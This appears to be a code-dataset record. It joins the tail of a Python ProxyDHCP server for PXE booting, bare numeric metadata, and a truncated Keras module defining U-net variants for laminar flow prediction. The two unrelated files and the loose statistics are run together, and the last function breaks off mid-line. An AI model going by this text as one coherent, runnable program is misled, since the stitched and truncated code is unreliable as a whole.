":".join(map(self.fmtHex,packet.GetHardwareAddress()))) responsepacket = DhcpPacket() responsepacket.CreateDhcpAckPacketFrom(packet) responsepacket.SetMultipleOptions( { 'giaddr':packet.GetOption('giaddr'), 'yiaddr':prospective_ip, 'ciaddr':[0,0,0,0], 'siaddr':map(int, self.config['proxy']["listen_address"].split(".")) } ) responsepacket.SetOption("server_identifier",map(int, self.config['proxy']["listen_address"].split("."))) responsepacket.SetOption("ip_address_lease_time",[0,255,255,255]) responsepacket.SetOption("renewal_time_value",[0,255,255,255]) responsepacket.SetOption("rebinding_time_value",[0,255,255,255]) responsepacket.SetOption("subnet_mask", map(int, self.config['network']['subnet_mask'].split("."))) responsepacket.SetOption("broadcast_address", map(int, self.config['network']['broadcast'].split("."))) responsepacket.SetOption("router",map(int, self.config['proxy']["listen_address"].split("."))) responsepacket.SetOption("domain_name_server",map(int, self.config['proxy']["listen_address"].split("."))) self.SendDhcpPacketTo(responsepacket, "255.255.255.255", self.client_port) #self.SendDhcpPacketTo(responsepacket, "192.168.1.255", self.client_port) def HandleDhcpDecline(self, packet): self.log('debug','Noticed a DHCP Decline packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) # remove the IP if any was assigned mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress())) if mac_addr in self.mac_to_ip: del self.mac_to_ip[mac_addr] def HandleDhcpRelease(self, packet): self.log('debug','Noticed a DHCP Release packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) # remove the IP if any was assigned mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress())) if mac_addr in self.mac_to_ip: del self.mac_to_ip[mac_addr] def HandleDhcpInform(self, packet): self.log('debug','Noticed a DHCP Inform packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def fmtHex(self,input): input=hex(input) input=str(input) input=input.replace("0x","") if len(input)==1: input="0"+input return input class ProxyDHCPD(DHCPD): def __init__(self,configfile='proxy.ini',client_port=68,server_port=67): self.config = parse_config(configfile) self.client_port = client_port self.server_port = server_port DHCPD.__init__(self,configfile,server_port=server_port) def HandleDhcpDiscover(self, packet): self.log('debug','Noticed a DHCP Discover packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def HandleDhcpRequest(self, packet): # don't even bother responding if we have run out of addresses mac_addr = ":".join(map(self.fmtHex,packet.GetHardwareAddress())) if packet.IsOption('vendor_class_identifier'): class_identifier = strlist(packet.GetOption('vendor_class_identifier')) if class_identifier.str()[0:9] == "PXEClient": responsepacket = DhcpPacket() responsepacket.CreateDhcpAckPacketFrom(packet) responsepacket.SetMultipleOptions( { 'hlen': packet.GetOption("hlen"), 'htype': packet.GetOption("htype"), 'xid': packet.GetOption("xid"), 'flags': packet.GetOption("flags"), 'giaddr': packet.GetOption("giaddr"), 'yiaddr':[0,0,0,0], 'siaddr': self.config['tftp']['address'], 'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))), 'vendor_class_identifier': map(ord, "PXEClient"), 'server_identifier': map(int, self.config['proxy']["listen_address"].split(".")), # This is incorrect but apparently makes certain Intel cards happy 'bootfile_name': map(ord, self.config['proxy']['filename'] + "\0"), 'tftp_server_name': self.config['tftp']['address'] } ) if self.config['proxy']['vendor_specific_information']: responsepacket.SetOption('vendor_specific_information', map(ord, self.config['proxy']['vendor_specific_information'])) responsepacket.DeleteOption('ip_address_lease_time') self.SendDhcpPacketTo(responsepacket, ".".join(map(str,packet.GetOption('ciaddr'))), self.client_port) self.log('info','****Responded to PXE request (port 67 ) from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def HandleDhcpDecline(self, packet): self.log('debug','Noticed a DHCP Decline packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def HandleDhcpRelease(self, packet): self.log('debug','Noticed a DHCP Release packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def HandleDhcpInform(self, packet): self.log('debug','Noticed a DHCP Inform packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress()))) def fmtHex(self,input): input=hex(input) input=str(input) input=input.replace("0x","") if len(input)==1: input="0"+input return input

47.910755

169

0.580742

2,262

20,937

5.240053

0.156499

0.031216

0.029107

0.032987

0.739813

0.693242

0.652493

0.626255

0.616806

0.610816

0

0.021031

0.293691

20,937

436

170

48.020642

0.780498

0.13469

0

0.561538

0

0.162835

0.021925

0

0.001185

0

null

0

0.030769

null

0.003846

0

null

0

1

0

null

0

1

0

2

2b3e16bac852a65f995976462d16cdfaa6ccae29

36,434

py

Python

networks_utils.py

jviquerat/U-net_laminar_flow

6a6029f8bd4d036f8675df8dd74e2d13476aa069

[ "MIT" ]

null

networks_utils.py

jviquerat/U-net_laminar_flow

6a6029f8bd4d036f8675df8dd74e2d13476aa069

[ "MIT" ]

1

2021-11-18T09:29:19.000Z

2021-12-14T08:33:44.000Z

networks_utils.py

jviquerat/u-net_laminar_flow

6a6029f8bd4d036f8675df8dd74e2d13476aa069

[ "MIT" ]

1

2021-07-20T08:23:27.000Z

# Import stuff import sys import math import keras # Additional imports from keras from keras import regularizers from keras import optimizers from keras.models import Model from keras.layers import Input from keras.layers import concatenate from keras.layers import Conv2D from keras.layers import MaxPooling2D from keras.layers import AveragePooling2D from keras.layers import Flatten from keras.layers import Dense from keras.layers import Activation from keras.layers import Dropout from keras.layers import Conv2DTranspose from keras.layers import Lambda from keras.layers import BatchNormalization from keras.layers.convolutional import ZeroPadding2D # Custom imports from datasets_utils import * ### ************************************************ ### I/O convolutional layer def io_conv_2D(x, filters = 8, kernel_size = 3, strides = 1, padding = 'same', activation = 'relu'): x = Conv2D(filters = filters, kernel_size = kernel_size, strides = strides, padding = padding, activation = activation)(x) return x ### ************************************************ ### I/O max-pooling layer def io_maxp_2D(x, pool_size = 2, strides = 2): x = MaxPooling2D(pool_size = pool_size, strides = strides)(x) return x ### ************************************************ ### I/O avg-pooling layer def io_avgp_2D(x, pool_size = 2, strides = 2): x = AveragePooling2D(pool_size = pool_size, strides = strides)(x) return x ### ************************************************ ### I/O convolutional transposed layer def io_conv_2D_transp(in_layer, n_filters, kernel_size, stride_size): out_layer = Conv2DTranspose(filters=n_filters, kernel_size=kernel_size, strides=stride_size, padding='same')(in_layer) return out_layer ### ************************************************ ### I/O concatenate + zero-pad def io_concat_pad(in_layer_1, in_layer_2, axis): # Compute padding sizes shape1_x = np.asarray(keras.backend.int_shape(in_layer_1)[1]) shape1_y = np.asarray(keras.backend.int_shape(in_layer_1)[2]) shape2_x = np.asarray(keras.backend.int_shape(in_layer_2)[1]) shape2_y = np.asarray(keras.backend.int_shape(in_layer_2)[2]) dx = shape2_x - shape1_x dy = shape2_y - shape1_y # Pad and concat pad_layer = ZeroPadding2D(((dx,0),(dy,0)))(in_layer_1) out_layer = concatenate([pad_layer, in_layer_2], axis=axis) return out_layer ### ************************************************ ### Classic U-net for field prediction def U_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) pool3 = io_maxp_2D(conv3, pool_size) # 2 convolutions + maxPool conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size) pool4 = io_maxp_2D(conv4, pool_size) # 2 convolutions conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size) pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2)) # 1 transpose convolution and concat + 2 convolutions up6 = io_concat_pad(pre6, conv4, 3) conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size) conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2)) up7 = io_concat_pad(pre7, conv3, 3) conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size) conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size) pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2)) # 1 transpose convolution and concat + 2 convolutions up8 = io_concat_pad(pre8, conv2, 3) conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size) conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2)) up9 = io_concat_pad(pre9, conv1, 3) conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size) conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv10 = io_conv_2D(conv9, 3, 1) # construct model model = Model(inputs=[conv0], outputs=[conv10]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_absolute_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model) ### ************************************************ ### Stacked U-nets def StackedU_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_size_2, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) pool3 = io_maxp_2D(conv3, pool_size) # 2 convolutions + maxPool conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size) pool4 = io_maxp_2D(conv4, pool_size) # 2 convolutions conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2)) up6 = io_concat_pad(pre6, conv4, 3) conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size) conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2)) up7 = io_concat_pad(pre7, conv3, 3) conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size) conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2)) up8 = io_concat_pad(pre8, conv2, 3) conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size) conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2)) up9 = io_concat_pad(pre9, conv1, 3) conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size) conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv10 = io_conv_2D(conv9, 3, 1) # 2 convolutions + maxPool conv21 = io_conv_2D(conv10, n_filters_initial*(2**0), kernel_size_2) conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size_2) pool21 = io_maxp_2D(conv21, pool_size) # 2 convolutions + maxPool conv22 = io_conv_2D(pool21, n_filters_initial*(2**1), kernel_size_2) conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size_2) pool22 = io_maxp_2D(conv22, pool_size) # 2 convolutions + maxPool conv23 = io_conv_2D(pool22, n_filters_initial*(2**2), kernel_size_2) conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size_2) pool23 = io_maxp_2D(conv23, pool_size) # 2 convolutions + maxPool conv24 = io_conv_2D(pool23, n_filters_initial*(2**3), kernel_size_2) conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size_2) pool24 = io_maxp_2D(conv24, pool_size) # 2 convolutions conv25 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size_2) conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size_2) # 1 transpose convolution and concat + 2 convolutions pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**3), (2,2), (2,2)) up26 = io_concat_pad(pre26, conv24, 3) conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size_2) conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size_2) pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**2), (2,2), (2,2)) up27 = io_concat_pad(pre27, conv23, 3) conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size_2) conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size_2) pre28 = io_conv_2D_transp(conv27, n_filters_initial*(2**1), (2,2), (2,2)) up28 = io_concat_pad(pre28, conv22, 3) conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size_2) conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size_2) # 1 transpose convolution and concat + 2 convolutions pre29 = io_conv_2D_transp(conv28, n_filters_initial*(2**0), (2,2), (2,2)) up29 = io_concat_pad(pre29, conv21, 3) conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size_2) conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size_2) # final 1x1 convolution conv20 = io_conv_2D(conv29, 3, 1) # construct model model = Model(inputs=[conv0], outputs=[conv20]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_absolute_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model) ### ************************************************ ### Coupled U-nets def CpU_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) pool3 = io_maxp_2D(conv3, pool_size) # 2 convolutions + maxPool conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size) pool4 = io_maxp_2D(conv4, pool_size) # 2 convolutions conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2)) up6 = io_concat_pad(pre6, conv4, 3) conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size) conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2)) up7 = io_concat_pad(pre7, conv3, 3) conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size) conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2)) up8 = io_concat_pad(pre8, conv2, 3) conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size) conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2)) up9 = io_concat_pad(pre9, conv1, 3) conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size) conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv10 = io_conv_2D(conv9, 3, 1) ##### the output of 1-st U-net # 2 convolutions + maxPool conv21 = io_conv_2D(concatenate([conv0, conv10], axis=3), n_filters_initial*(2**0), kernel_size) conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size) pool21 = io_maxp_2D(conv21, pool_size) # 2 convolutions + maxPool conv22 = io_conv_2D(concatenate([pool1, pool21], axis=3), n_filters_initial*(2**1), kernel_size) conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size) pool22 = io_maxp_2D(conv22, pool_size) # 2 convolutions + maxPool conv23 = io_conv_2D(concatenate([pool2, pool22], axis=3), n_filters_initial*(2**2), kernel_size) conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size) pool23 = io_maxp_2D(conv23, pool_size) # 2 convolutions + maxPool conv24 = io_conv_2D(concatenate([pool3, pool23], axis=3), n_filters_initial*(2**3), kernel_size) conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size) pool24 = io_maxp_2D(conv24, pool_size) # 2 convolutions conv25 = io_conv_2D(concatenate([pool4, pool24], axis=3), n_filters_initial*(2**4), kernel_size) conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre26 = io_conv_2D_transp(concatenate([conv5, conv25], axis=3), n_filters_initial*(2**3), (2,2), (2,2)) up26 = io_concat_pad(pre26, conv24, 3) conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size) conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size) pre27 = io_conv_2D_transp(concatenate([conv6, conv26], axis=3), n_filters_initial*(2**2), (2,2), (2,2)) up27 = io_concat_pad(pre27, conv23, 3) conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size) conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size) pre28 = io_conv_2D_transp(concatenate([conv7, conv27], axis=3), n_filters_initial*(2**1), (2,2), (2,2)) up28 = io_concat_pad(pre28, conv22, 3) conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size) conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre29 = io_conv_2D_transp(concatenate([conv8, conv28], axis=3), n_filters_initial*(2**0), (2,2), (2,2)) up29 = io_concat_pad(pre29, conv21, 3) conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size) conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv20 = io_conv_2D(concatenate([conv9, conv29], axis=3), 3, 1) # construct model model = Model(inputs=[conv0], outputs=[conv20]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_absolute_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model) ### ************************************************ ### Multilevel U-nets def Multi_level_U_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) ######################################################################################################################## ##Here is the bottle of mini U-net pre4 = io_conv_2D_transp(conv3, n_filters_initial*(2**1), (2,2), (2,2)) # 1 transpose convolution and concat + 2 convolutions up4 = io_concat_pad(pre4, conv2, 3) conv4 = io_conv_2D(up4, n_filters_initial*(2**1), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre5 = io_conv_2D_transp(conv4, n_filters_initial*(2**0), (2,2), (2,2)) up5 = io_concat_pad(pre5, conv1, 3) conv5 = io_conv_2D(up5, n_filters_initial*(2**0), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**0), kernel_size) # output of mini U-net conv6 = io_conv_2D(conv5, 3, 1) ######################################################################################################################## pool3 = io_maxp_2D(conv3, pool_size) conv24 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size) # Here is the bottleneck of small U-net pre25 = io_conv_2D_transp(conv24, n_filters_initial*(2**2), (2,2), (2,2)) up25 = io_concat_pad(pre25, conv3, 3) conv25 = io_conv_2D(up25, n_filters_initial*(2**2), kernel_size) conv25 = io_conv_2D(conv25, n_filters_initial*(2**2), kernel_size) pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**1), (2,2), (2,2)) up26 = io_concat_pad(pre26, conv2, 3)#an alternate is to concatenate pre26 with conv2 conv26 = io_conv_2D(up26, n_filters_initial*(2**1), kernel_size) conv26 = io_conv_2D(conv26, n_filters_initial*(2**1), kernel_size) pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**0), (2,2), (2,2)) up27 = io_concat_pad(pre27, conv1, 3)#an alternate is to concatenate pre26 with conv1 conv27 = io_conv_2D(up27, n_filters_initial*(2**0), kernel_size) conv27 = io_conv_2D(conv27, n_filters_initial*(2**0), kernel_size) # output of small U-net conv28 = io_conv_2D(conv27, 3, 1) ######################################################################################################################## pool24 = io_maxp_2D(conv24, pool_size) conv35 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size) conv35 = io_conv_2D(conv35, n_filters_initial*(2**4), kernel_size) # Here is the bottleneck of U-net pre36 = io_conv_2D_transp(conv35, n_filters_initial*(2**3), (2,2), (2,2)) up36 = io_concat_pad(pre36, conv24, 3) conv36 = io_conv_2D(up36, n_filters_initial*(2**3), kernel_size) conv36 = io_conv_2D(conv36, n_filters_initial*(2**3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre37 = io_conv_2D_transp(conv36, n_filters_initial*(2**2), (2,2), (2,2))## conv36, conv26? up37 = io_concat_pad(pre37, conv3, 3)#an alternate is to concatenate pre37 with conv3 conv37 = io_conv_2D(up37, n_filters_initial*(2**2), kernel_size) conv37 = io_conv_2D(conv37, n_filters_initial*(2**2), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre38 = io_conv_2D_transp(conv37, n_filters_initial*(2**1), (2,2), (2,2)) up38 = io_concat_pad(pre38, conv2, 3)#two alternates are to concatenate pre38 with conv2 or conv4 conv38 = io_conv_2D(up38, n_filters_initial*(2**1), kernel_size) conv38 = io_conv_2D(conv38, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre39 = io_conv_2D_transp(conv38, n_filters_initial*(2**0), (2,2), (2,2)) up39 = io_concat_pad(pre39, conv1, 3)#two alternates are concatenate pre39 with conv1 or conv5 or conv27 conv39 = io_conv_2D(up39, n_filters_initial*(2**0), kernel_size) conv39 = io_conv_2D(conv39, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv30 = io_conv_2D(conv39, 3, 1) ######################################################################################################################## # average the output of three U-nets conv10 = keras.layers.Average()([conv6, conv28, conv30]) #concatenate the output of three U-nets #conv10 = io_conv_2D(concatenate([conv6, conv28, conv30], axis=3), 3, 1) # construct model model = Model(inputs=[conv0], outputs=[conv10]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_squared_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model) ### ************************************************ ### Inverse multilevel U-net def InvMU_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) pool3 = io_maxp_2D(conv3, pool_size) conv24 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size) pool24 = io_maxp_2D(conv24, pool_size) conv35 = io_conv_2D(pool24, n_filters_initial * (2 ** 4), kernel_size) conv35 = io_conv_2D(conv35, n_filters_initial * (2 ** 4), kernel_size) # Here is the bottleneck of U-net pre36 = io_conv_2D_transp(conv35, n_filters_initial * (2 ** 3), (2, 2), (2, 2)) up36 = io_concat_pad(pre36, conv24, 3) conv36 = io_conv_2D(up36, n_filters_initial * (2 ** 3), kernel_size) conv36 = io_conv_2D(conv36, n_filters_initial * (2 ** 3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre37 = io_conv_2D_transp(conv36, n_filters_initial * (2 ** 2), (2, 2), (2, 2)) ## conv36, conv26? up37 = io_concat_pad(pre37, conv3, 3) # an alternate is to concatenate pre37 with conv3 conv37 = io_conv_2D(up37, n_filters_initial * (2 ** 2), kernel_size) conv37 = io_conv_2D(conv37, n_filters_initial * (2 ** 2), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre38 = io_conv_2D_transp(conv37, n_filters_initial * (2 ** 1), (2, 2), (2, 2)) up38 = io_concat_pad(pre38, conv2, 3) # two alternates are to concatenate pre38 with conv2 or conv4 conv38 = io_conv_2D(up38, n_filters_initial * (2 ** 1), kernel_size) conv38 = io_conv_2D(conv38, n_filters_initial * (2 ** 1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre39 = io_conv_2D_transp(conv38, n_filters_initial * (2 ** 0), (2, 2), (2, 2)) up39 = io_concat_pad(pre39, conv1, 3) # two alternates are concatenate pre39 with conv1 or conv5 or conv27 conv39 = io_conv_2D(up39, n_filters_initial * (2 ** 0), kernel_size) conv39 = io_conv_2D(conv39, n_filters_initial * (2 ** 0), kernel_size) # final 1x1 convolution conv30 = io_conv_2D(conv39, 3, 1) conv30 = Lambda(lambda x: x * 1.5)(conv30) ######################################################################################################################## pre25 = io_conv_2D_transp(conv24, n_filters_initial * (2 ** 2), (2, 2), (2, 2)) up25 = io_concat_pad(pre25, conv37, 3) conv25 = io_conv_2D(up25, n_filters_initial * (2 ** 2), kernel_size) conv25 = io_conv_2D(conv25, n_filters_initial * (2 ** 2), kernel_size) pre26 = io_conv_2D_transp(conv25, n_filters_initial * (2 ** 1), (2, 2), (2, 2)) up26 = io_concat_pad(pre26, conv38, 3) conv26 = io_conv_2D(up26, n_filters_initial * (2 ** 1), kernel_size) conv26 = io_conv_2D(conv26, n_filters_initial * (2 ** 1), kernel_size) pre27 = io_conv_2D_transp(conv26, n_filters_initial * (2 ** 0), (2, 2), (2, 2)) up27 = io_concat_pad(pre27, conv39, 3) # an alternate is to concatenate pre26 with conv1 conv27 = io_conv_2D(up27, n_filters_initial * (2 ** 0), kernel_size) conv27 = io_conv_2D(conv27, n_filters_initial * (2 ** 0), kernel_size) # output of small U-net conv28 = io_conv_2D(conv27, 3, 1) ######################################################################################################################## pre4 = io_conv_2D_transp(conv3, n_filters_initial*(2**1), (2,2), (2,2)) # 1 transpose convolution and concat + 2 convolutions up4 = io_concat_pad(pre4, conv38, 3) conv4 = 